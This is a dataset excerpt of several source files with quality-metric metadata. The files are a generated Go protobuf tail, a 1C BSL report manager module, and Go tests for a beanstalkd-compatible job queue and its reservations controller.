out.File file_job_proto_rawDesc = nil file_job_proto_goTypes = nil file_job_proto_depIdxs = nil }
14,542
job.pb
go
en
go
code
{"qsc_code_num_words": 2165, "qsc_code_num_chars": 14542.0, "qsc_code_mean_word_length": 4.66374134, "qsc_code_frac_words_unique": 0.1704388, "qsc_code_frac_chars_top_2grams": 0.02693869, "qsc_code_frac_chars_top_3grams": 0.03921957, "qsc_code_frac_chars_top_4grams": 0.02139249, "qsc_code_frac_chars_dupe_5grams": 0.32712687, "qsc_code_frac_chars_dupe_6grams": 0.24957908, "qsc_code_frac_chars_dupe_7grams": 0.16806972, "qsc_code_frac_chars_dupe_8grams": 0.10389225, "qsc_code_frac_chars_dupe_9grams": 0.07774587, "qsc_code_frac_chars_dupe_10grams": 0.03397049, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.178345, "qsc_code_frac_chars_whitespace": 0.1648329, "qsc_code_size_file_byte": 14542.0, "qsc_code_num_lines": 408.0, "qsc_code_num_chars_line_max": 124.0, "qsc_code_num_chars_line_mean": 35.64215686, "qsc_code_frac_chars_alphabet": 0.65302594, "qsc_code_frac_chars_comments": 0.18003026, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.16564417, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.00306748, "qsc_code_frac_chars_string_length": 0.11262999, "qsc_code_frac_chars_long_word_length": 0.08470312, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.23683328, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.08282209, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.25153374, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1c-syntax/ssl_3_1
src/cf/Reports/КонтрольРассылкиОтчетов/Ext/ManagerModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // СтандартныеПодсистемы.ВариантыОтчетов // Параметры: // Настройки - см. ВариантыОтчетовПереопределяемый.НастроитьВариантыОтчетов.Настройки. // НастройкиОтчета - см. ВариантыОтчетов.ОписаниеОтчета. // Процедура НастроитьВариантыОтчета(Настройки, НастройкиОтчета) Экспорт НастройкиОтчета.ОпределитьНастройкиФормы = Истина; КонецПроцедуры // См. ВариантыОтчетовПереопределяемый.НастроитьВариантыОтчетов. Процедура ПриНастройкеВариантовОтчетов(Настройки) Экспорт ВариантыОтчетов.НастроитьОтчетВМодулеМенеджера(Настройки, Метаданные.Отчеты.КонтрольРассылкиОтчетов); КонецПроцедуры // См. ВариантыОтчетовПереопределяемый.ОпределитьОбъектыСКомандамиОтчетов. Процедура ПриОпределенииОбъектовСКомандамиОтчетов(Объекты) Экспорт Объекты.Добавить(Метаданные.Справочники.РассылкиОтчетов); КонецПроцедуры // Конец СтандартныеПодсистемы.ВариантыОтчетов #КонецОбласти #КонецОбласти #КонецЕсли
1,553
ManagerModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 107, "qsc_code_num_chars": 1553.0, "qsc_code_mean_word_length": 10.56074766, "qsc_code_frac_words_unique": 0.69158879, "qsc_code_frac_chars_top_2grams": 0.00530973, "qsc_code_frac_chars_top_3grams": 0.00707965, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00770308, "qsc_code_frac_chars_whitespace": 0.08048938, "qsc_code_size_file_byte": 1553.0, "qsc_code_num_lines": 47.0, "qsc_code_num_chars_line_max": 105.0, "qsc_code_num_chars_line_mean": 33.04255319, "qsc_code_frac_chars_alphabet": 0.78291317, "qsc_code_frac_chars_comments": 0.93238892, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1xyz/coolbeans
tests/e2e/protocol_test.go
// +build integration package e2e_test import ( "fmt" "github.com/beanstalkd/go-beanstalk" . "github.com/smartystreets/goconvey/convey" "math/rand" "testing" "time" ) const ( serverAddr = "127.0.0.1:11300" putTTR = 10 * time.Second reserveTimeout = 2 * time.Second delay = 5 * time.Second msgErrTimeout = "reserve-with-timeout: timeout" msgErrDeadlineSoon = "reserve-with-timeout: deadline soon" msgErrBuryNotFound = "bury: not found" msgErrKickNotFound = "kick-job: not found" msgErrTouchNotFound = "touch: not found" msgErrReleaseNotFound = "release: not found" msgErrPeekNotFound = "peek: not found" msgErrNotFound = "not found" ) func TestProtocol_Put(t *testing.T) { Convey("Given a beanstalk service", t, func() { c := newConn(t) defer c.Close() Convey("a producer should be able to put a job", func() { id, err := c.Put([]byte("garbanzo beans"), 1, 0, putTTR) So(err, ShouldBeNil) So(id, ShouldBeGreaterThanOrEqualTo, 0) Convey("and should be able to delete", func() { err := c.Delete(id) So(err, ShouldBeNil) }) }) Convey("a producer should be able to put a delayed job", func() { id, err := c.Put([]byte("garbanzo beans"), 1, delay, putTTR) So(err, ShouldBeNil) So(id, ShouldBeGreaterThanOrEqualTo, 0) Convey("and should be able to delete", func() { err := c.Delete(id) So(err, ShouldBeNil) }) }) Convey("a producer should be able to put a job to a specific tube", func() { tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: c, Name: tubeName} defer prodTube.Conn.Close() id, _ := prodTube.Put([]byte("garbanzo beans"), 1, 0, putTTR) Convey("and should be able to delete", func() { err := prodTube.Conn.Delete(id) So(err, ShouldBeNil) }) }) Convey("a producer should be able to put a delayed job to a specific tube", func() { tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: c, Name: tubeName} defer prodTube.Conn.Close() id, _ := prodTube.Put([]byte("garbanzo beans"), 1, delay, putTTR) Convey("and should be able to delete", func() { err := prodTube.Conn.Delete(id) So(err, ShouldBeNil) }) }) }) } func TestProtocol_Put_Reserve_Delete(t *testing.T) { Convey("when a producer puts a job to a specific tube", t, func() { tubeName := randStr(6) expectedData := "garbanzo beans" prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() expectedID, _ := prodTube.Put([]byte(expectedData), 1, 0, putTTR) Convey("a consumer should be able to reserve it", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() actualID, actualData, err := tubes.Reserve(reserveTimeout) So(err, ShouldBeNil) So(actualID, ShouldEqual, expectedID) So(string(actualData), ShouldEqual, expectedData) Convey("another connection cannot delete that reserved job", func() { conn := newConn(t) defer conn.Close() err := conn.Delete(actualID) So(err, ShouldNotBeNil) }) Convey("only that consumer and should be able to delete it", func() { err := tubes.Conn.Delete(actualID) So(err, ShouldBeNil) }) }) }) } func TestProtocol_Put_Delayed_Reserve_Delete(t *testing.T) { Convey("when a producer puts a delayed job to a specific tube", t, func() { tubeName := randStr(6) expectedData := "garbanzo beans" prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() expectedID, _ := prodTube.Put([]byte(expectedData), 1, delay, putTTR) Convey("a consumer should not be able to reserve it immediately", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() _, _, err := tubes.Reserve(delay / 2) So(err, ShouldNotBeNil) So(err.Error(), ShouldEqual, msgErrTimeout) }) Convey("a consumer should be able to reserve it when delayed job becomes ready", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() select { case <-time.After(delay + time.Second): actualID, _, err := tubes.Reserve(delay / 2) So(err, ShouldBeNil) So(actualID, ShouldEqual, expectedID) Convey("only that consumer and should be able to delete it", func() { err := tubes.Conn.Delete(actualID) So(err, ShouldBeNil) }) } }) }) } func TestProtocol_Reserve_TTR(t *testing.T) { Convey("given a tube with a single job", t, func() { const ttr = 2 * time.Second tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() prodTube.Put([]byte("garbanzo beans"), 1, 0, ttr) Convey("and consumer who reserves the job", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() id, _, err := tubes.Reserve(reserveTimeout) defer tubes.Conn.Close() So(err, ShouldBeNil) So(id, ShouldNotBeEmpty) Convey("should be able to reserve the job after the ttr", func() { select { case <-time.After(3 * time.Second): actualID, _, err := tubes.Reserve(ttr) So(err, ShouldBeNil) So(actualID, ShouldEqual, id) } }) }) }) } // Behavior of Deadline_Soon // During the TTR of a reserved job, the last second is kept by the server as a // safety margin, during which the client will not be made to wait for another // job. If the client issues a reserve command during the safety margin, or if // the safety margin arrives while the client is waiting on a reserve command, // the server will respond with: // // DEADLINE_SOON\r\n func TestProtocol_Reserve_DeadlineSoon(t *testing.T) { Convey("given a tube with a single job", t, func() { const ttr = 5 * time.Second tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() prodTube.Put([]byte("garbanzo beans"), 1, 0, ttr) Convey("and consumer who reserves the job", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() id, _, err := tubes.Reserve(reserveTimeout) So(err, ShouldBeNil) So(id, ShouldNotBeEmpty) Convey("receives a deadline_soon for the next reserve in the last second of the ttr", func() { _, _, err := tubes.Reserve(ttr) So(err, ShouldNotBeNil) So(err.Error(), ShouldEqual, msgErrDeadlineSoon) }) }) }) } func TestProtocol_Reserve_Timeout(t *testing.T) { Convey("when a consumer reserves a tube with no jobs", t, func() { tubeName := randStr(6) tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() Convey("the request times out", func() { errCh := make(chan error) go func() { _, _, err := tubes.Reserve(2 * time.Second) errCh <- err close(errCh) }() select { case <-time.After(10 * time.Second): t.Fatalf("timeout failed") case err := <-errCh: So(err, ShouldNotBeNil) So(err.Error(), ShouldEqual, msgErrTimeout) } }) }) Convey("when a consumer reserves a tube with no jobs with a timeout of zero", t, func() { tubeName := randStr(6) tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() Convey("the request times out immediately", func() { errCh := make(chan error) go func() { _, _, err := tubes.Reserve(0 * time.Second) errCh <- err close(errCh) }() select { case <-time.After(2 * time.Second): t.Fatalf("timeout failed") case err := <-errCh: So(err, ShouldNotBeNil) So(err.Error(), ShouldEqual, msgErrTimeout) } }) }) } func TestProtocol_Bury_Kick(t *testing.T) { Convey("when a producer put a job to a specific tube", t, func() { tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() jobId, _ := prodTube.Put([]byte("garbanzo beans"), 1, 0, putTTR) Convey("which is reserved by a consumer", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() id, _, _ := tubes.Reserve(reserveTimeout) Convey("another consumer cannot bury that reserved job", func() { conn := newConn(t) defer conn.Close() err := conn.Bury(id, 3) So(err.Error(), ShouldEqual, msgErrBuryNotFound) }) Convey("only that consumer can bury that job", func() { err := tubes.Conn.Bury(id, 3) So(err, ShouldBeNil) Convey("and anyone can kick that job", func() { conn := newConn(t) defer conn.Close() err := conn.KickJob(id) So(err, ShouldBeNil) }) Convey("and anyone kick that job with a bound", func() { tube := beanstalk.Tube{ Conn: newConn(t), Name: tubeName, } defer tube.Conn.Close() n, err := tube.Kick(3) So(err, ShouldBeNil) So(n, ShouldEqual, 1) }) }) }) Convey("kicking an unreserved job leads to nothing", func() { conn := newConn(t) defer conn.Close() err := conn.KickJob(jobId) So(err.Error(), ShouldEqual, msgErrKickNotFound) }) }) } func TestProtocol_Touch(t *testing.T) { Convey("when a producer put a job to a specific tube", t, func() { tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() jobID, _ := prodTube.Put([]byte("garbanzo beans"), 1, 0, putTTR) Convey("which is reserved by a consumer", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() id, _, _ := tubes.Reserve(reserveTimeout) Convey("another consumer cannot touch that reserved job", func() { conn := newConn(t) defer conn.Close() err := conn.Touch(id) So(err.Error(), ShouldEqual, msgErrTouchNotFound) }) Convey("only that consumer can touch that job", func() { err := tubes.Conn.Touch(id) So(err, ShouldBeNil) }) }) Convey("touch an unreserved job leads to nothing", func() { conn := newConn(t) defer conn.Close() err := conn.Touch(jobID) So(err.Error(), ShouldEqual, msgErrTouchNotFound) }) }) } func TestProtocol_Release(t *testing.T) { Convey("when a producer put a job to a specific tube", t, func() { tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() jobID, _ := prodTube.Put([]byte("garbanzo beans"), 1, 0, putTTR) Convey("which is reserved by a consumer", func() { tubes := beanstalk.NewTubeSet(newConn(t), tubeName) defer tubes.Conn.Close() id, _, _ := tubes.Reserve(reserveTimeout) Convey("another consumer cannot release that reserved job", func() { conn := newConn(t) defer conn.Close() err := conn.Release(id, 10, 0) So(err.Error(), ShouldEqual, msgErrReleaseNotFound) }) Convey("only that consumer can release that job", func() { err := tubes.Conn.Release(id, 10, 0) So(err, ShouldBeNil) }) Convey("only that consumer can release that job with a delay", func() { err := tubes.Conn.Release(id, 10, 10) So(err, ShouldBeNil) }) }) Convey("touch an unreserved job leads to nothing", func() { conn := newConn(t) defer conn.Close() err := conn.Release(jobID, 10, 0) So(err.Error(), ShouldEqual, msgErrReleaseNotFound) }) }) } func TestProtocol_Peek(t *testing.T) { Convey("when a producer put a job to a specific tube", t, func() { tubeName := randStr(6) prodTube := beanstalk.Tube{Conn: newConn(t), Name: tubeName} defer prodTube.Conn.Close() bodyIn := []byte("garbanzo beans") jobID, _ := prodTube.Put(bodyIn, 1, 0, putTTR) Convey("the job can be peeked by anyone", func() { c := newConn(t) defer c.Close() bodyOut, err := c.Peek(jobID) So(err, ShouldBeNil) So(bodyOut, ShouldResemble, bodyIn) }) }) Convey("Peek an unknown job results in not_found", t, func() { c := newConn(t) defer c.Close() _, err := c.Peek(1234) So(err.Error(), ShouldEqual, msgErrPeekNotFound) }) } type jobReq struct { id uint64 body []byte } func TestProtocol_PeekReady(t *testing.T) { Convey("when a producer put jobs with different priorities to a specific tube", t, func() { pt := newRandTube(t) defer closeTube(t, pt) n := 3 jobsIn := make([]jobReq, n) for i := 0; i < n; i++ { jobsIn[i].body = []byte(fmt.Sprintf("hello_%d", i)) jobsIn[i].id, _ = pt.Put(jobsIn[i].body, uint32(n-i), 0, putTTR) } Convey("Peeking the ready tube returns the highest pri job", func() { ct := newTube(t, pt.Name) defer closeTube(t, ct) idOut, bodyOut, err := ct.PeekReady() So(err, ShouldBeNil) So(idOut, ShouldEqual, jobsIn[2].id) So(bodyOut, ShouldResemble, jobsIn[2].body) }) }) Convey("Peeking an empty ready tube returns not-found", t, func() { ct := newRandTube(t) defer closeTube(t, ct) _, _, err := ct.PeekReady() So(err.Error(), ShouldContainSubstring, msgErrNotFound) }) } func TestProtocol_PeekDelayed(t *testing.T) { Convey("when a producer put jobs with different delays to a specific tube", t, func() { pt := newRandTube(t) defer closeTube(t, pt) n := 3 jobsIn := make([]jobReq, n) for i := 0; i < n; i++ { delay := time.Duration(10+n-i) * time.Second jobsIn[i].body = []byte(fmt.Sprintf("hello_%d", i)) jobsIn[i].id, _ = pt.Put(jobsIn[i].body, 0, delay, putTTR) } Convey("Peeking the delayed tube returns the lowest delay job", func() { ct := newTube(t, pt.Name) defer closeTube(t, ct) idOut, bodyOut, err := ct.PeekDelayed() So(err, ShouldBeNil) So(idOut, ShouldEqual, jobsIn[2].id) So(bodyOut, ShouldResemble, jobsIn[2].body) }) }) Convey("Peeking an empty delayed tube returns not-found", t, func() { ct := newRandTube(t) defer closeTube(t, ct) _, _, err := ct.PeekDelayed() So(err, ShouldNotBeNil) So(err.Error(), ShouldContainSubstring, msgErrNotFound) }) } func newBuriedJob(t *testing.T, tube *beanstalk.Tube, body []byte, pri uint32, delay time.Duration) uint64 { jobId, err := tube.Put(body, pri, delay, putTTR) if err != nil { t.Fatalf("newBuriedJob: tube.Put err = %v", err) } tubes := newTubeSet(t, tube.Name) defer closeTubeSet(t, tubes) id, _, err := tubes.Reserve(reserveTimeout) if err != nil { t.Fatalf("newBuriedJob: tubes.Reserve err = %v", err) } if id != jobId { t.Fatalf("newBuriedJob: tubes.Reserve found another job in the queue id = %v expected id = %v", jobId, id) } if err := tubes.Conn.Bury(id, 254); err != nil { t.Fatalf("newBuriedJob: conn.Bury err = %v", err) } return jobId } func TestProtocol_PeekBuried(t *testing.T) { Convey("when a producer buries jobs to a specific tube", t, func() { pt := newRandTube(t) defer closeTube(t, pt) n := 3 jobsIn := make([]jobReq, n) for i := 0; i < n; i++ { jobsIn[i].body = []byte(fmt.Sprintf("hello_%d", i)) jobsIn[i].id = newBuriedJob(t, pt, jobsIn[i].body, 0, 0) } Convey("Peeking the buried tube returns the earliest buried job", func() { ct := newTube(t, pt.Name) defer closeTube(t, ct) idOut, bodyOut, err := ct.PeekBuried() So(err, ShouldBeNil) So(idOut, ShouldEqual, jobsIn[0].id) So(bodyOut, ShouldResemble, jobsIn[0].body) }) }) Convey("PeekBuried an empty tube returns not-found", t, func() { ct := newRandTube(t) defer closeTube(t, ct) _, _, err := ct.PeekBuried() So(err, ShouldNotBeNil) So(err.Error(), ShouldContainSubstring, msgErrNotFound) }) } func newTubeSet(t *testing.T, tubeName ...string) *beanstalk.TubeSet { return beanstalk.NewTubeSet(newConn(t), tubeName...) } func newTube(t *testing.T, tubeName string) *beanstalk.Tube { return &beanstalk.Tube{Conn: newConn(t), Name: tubeName} } func newRandTube(t *testing.T) *beanstalk.Tube { tubeName := randStr(6) return newTube(t, tubeName) } func closeTubeSet(t *testing.T, tubeSet *beanstalk.TubeSet) { closeConn(t, tubeSet.Conn) } func closeTube(t *testing.T, tube *beanstalk.Tube) { closeConn(t, tube.Conn) } func closeConn(t *testing.T, c *beanstalk.Conn) { if c != nil { if err := c.Close(); err != nil { t.Logf("closeTube: c.close() err=%v", err) } } } func newConn(t *testing.T) *beanstalk.Conn { c, err := beanstalk.Dial("tcp", serverAddr) if err != nil { t.Fatalf("error dial beanstalkd %v", err) } return c } const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) func randStr(length int) string { b := make([]byte, length) for i := range b { b[i] = charset[seededRand.Intn(len(charset))] } return string(b) }
16,561
protocol_test
go
en
go
code
{"qsc_code_num_words": 2229, "qsc_code_num_chars": 16561.0, "qsc_code_mean_word_length": 4.8371467, "qsc_code_frac_words_unique": 0.1090175, "qsc_code_frac_chars_top_2grams": 0.02040438, "qsc_code_frac_chars_top_3grams": 0.03413096, "qsc_code_frac_chars_top_4grams": 0.0180857, "qsc_code_frac_chars_dupe_5grams": 0.71582267, "qsc_code_frac_chars_dupe_6grams": 0.66759414, "qsc_code_frac_chars_dupe_7grams": 0.62047858, "qsc_code_frac_chars_dupe_8grams": 0.5719718, "qsc_code_frac_chars_dupe_9grams": 0.55017622, "qsc_code_frac_chars_dupe_10grams": 0.52531998, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00917983, "qsc_code_frac_chars_whitespace": 0.19751223, "qsc_code_size_file_byte": 16561.0, "qsc_code_num_lines": 583.0, "qsc_code_num_chars_line_max": 109.0, "qsc_code_num_chars_line_mean": 28.40651801, "qsc_code_frac_chars_alphabet": 0.80210685, "qsc_code_frac_chars_comments": 0.0253004, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.55761317, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.20189568, "qsc_code_frac_chars_long_word_length": 0.01102713, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.04526749, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.0617284, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
cluster/server/reservations_controller_test.go
package server_test import ( "errors" "fmt" v1 "github.com/1xyz/coolbeans/api/v1" "github.com/1xyz/coolbeans/cluster/server" "github.com/1xyz/coolbeans/cluster/server/serverfakes" "github.com/stretchr/testify/assert" "testing" "time" ) func TestReservationsController_RunStop(t *testing.T) { tests := []struct { tr *v1.TickResponse err error }{ {&v1.TickResponse{ ProxyReservations: map[string]*v1.Reservations{}}, nil}, {nil, errors.New("hello")}, } for _, test := range tests { jsmTick := &serverfakes.FakeJsmTick{} jsmTick.TickReturns(test.tr, test.err) rctrl := server.NewReservationsController(jsmTick) doneCh := make(chan bool) go func() { err := rctrl.Run() assert.Nilf(t, err, "expect Err to be nil") doneCh <- true }() time.Sleep(2 * time.Second) assert.Truef(t, jsmTick.TickCallCount() > 0, "expect TickCallCount > 0, actual = %v", jsmTick.TickCallCount()) rctrl.Stop() <-doneCh } } func TestReservationsController_Register(t *testing.T) { doneCh := make(chan bool) rctrl := runTestController(t, doneCh) defer func() { rctrl.Stop() <-doneCh }() respCh, err := rctrl.Register("foobar") assert.Nilf(t, err, "expect Err to be nil") assert.NotNilf(t, respCh, "expect respCh to not be nil") respCh, err = rctrl.Register("foobar") assert.Equalf(t, server.ErrProxyExists, err, "expect Err to be ErrProxyExists") assert.Nilf(t, respCh, "expect respCh to be nil") } func TestReservationsController_UnRegister(t *testing.T) { doneCh := make(chan bool) rctrl := runTestController(t, doneCh) defer func() { rctrl.Stop() <-doneCh }() respCh, _ := rctrl.Register("foobar") rctrl.UnRegister("foobar", respCh) rctrl.UnRegister("foobar", respCh) respCh, err := rctrl.Register("foobar") assert.Nilf(t, err, "expect Err to be nil") assert.NotNilf(t, respCh, "expect respCh to not be nil") } func TestReservationsController_Run_With_Assinged_Reservations(t *testing.T) { doneCh := make(chan bool) proxyID := "proxy1" nReservations := 3 rctrl := runtestControllerWithResponses(t, doneCh, proxyID, nReservations) defer func() { rctrl.Stop() <-doneCh }() respCh, _ := rctrl.Register(proxyID) for r := range respCh { assert.Equalf(t, server.Reservation, r.RespType, "expect respType to be reservation") assert.Equalf(t, nReservations, len(r.Reservations), "expect count of reservation to be %v actual=%v", nReservations, len(r.Reservations)) break } } func TestReservationsController_Run_With_NoAssigned_Reservations(t *testing.T) { doneCh := make(chan bool) rctrl := runtestControllerWithResponses(t, doneCh, "proxy1", 1) defer func() { rctrl.Stop() <-doneCh }() respCh, _ := rctrl.Register("proxy2") for r := range respCh { assert.Equalf(t, server.Reservation, r.RespType, "expect respType to be of type %v got %v", server.Reservation, r.RespType) assert.Nilf(t, r.Reservations, "expect reservations to be nil") break } rctrl.UnRegister("proxy2", respCh) } func runTestController(t *testing.T, doneCh chan<- bool) *server.ReservationsController { jsmTick := &serverfakes.FakeJsmTick{} jsmTick.TickReturns(nil, errors.New("foo")) rctrl := server.NewReservationsController(jsmTick) go func() { if err := rctrl.Run(); err != nil { t.Fatalf("expect Err=%v to be nil", err) } doneCh <- true }() return rctrl } func runtestControllerWithResponses(t *testing.T, doneCh chan<- bool, proxyID string, nReservations int) *server.ReservationsController { resvn := make([]*v1.Reservation, nReservations) for i := 0; i < nReservations; i++ { resvn[i] = &v1.Reservation{ RequestId: fmt.Sprintf("test-request-%d", i), ClientId: fmt.Sprintf("client://%s/test-clientid-%d", proxyID, i), Status: v1.ReservationStatus_Timeout, JobId: 0, BodySize: 0, Body: nil, ErrorMsg: "", ProxyId: proxyID, } } resp := v1.TickResponse{ ProxyReservations: map[string]*v1.Reservations{ proxyID: {Entries: resvn}, }, } jsmTick := &serverfakes.FakeJsmTick{} jsmTick.TickReturns(&resp, nil) rctrl := server.NewReservationsController(jsmTick) go func() { if err := rctrl.Run(); err != nil { t.Fatalf("expect Err=%v to be nil", err) } doneCh <- true }() return rctrl }
4,257
reservations_controller_test
go
en
go
code
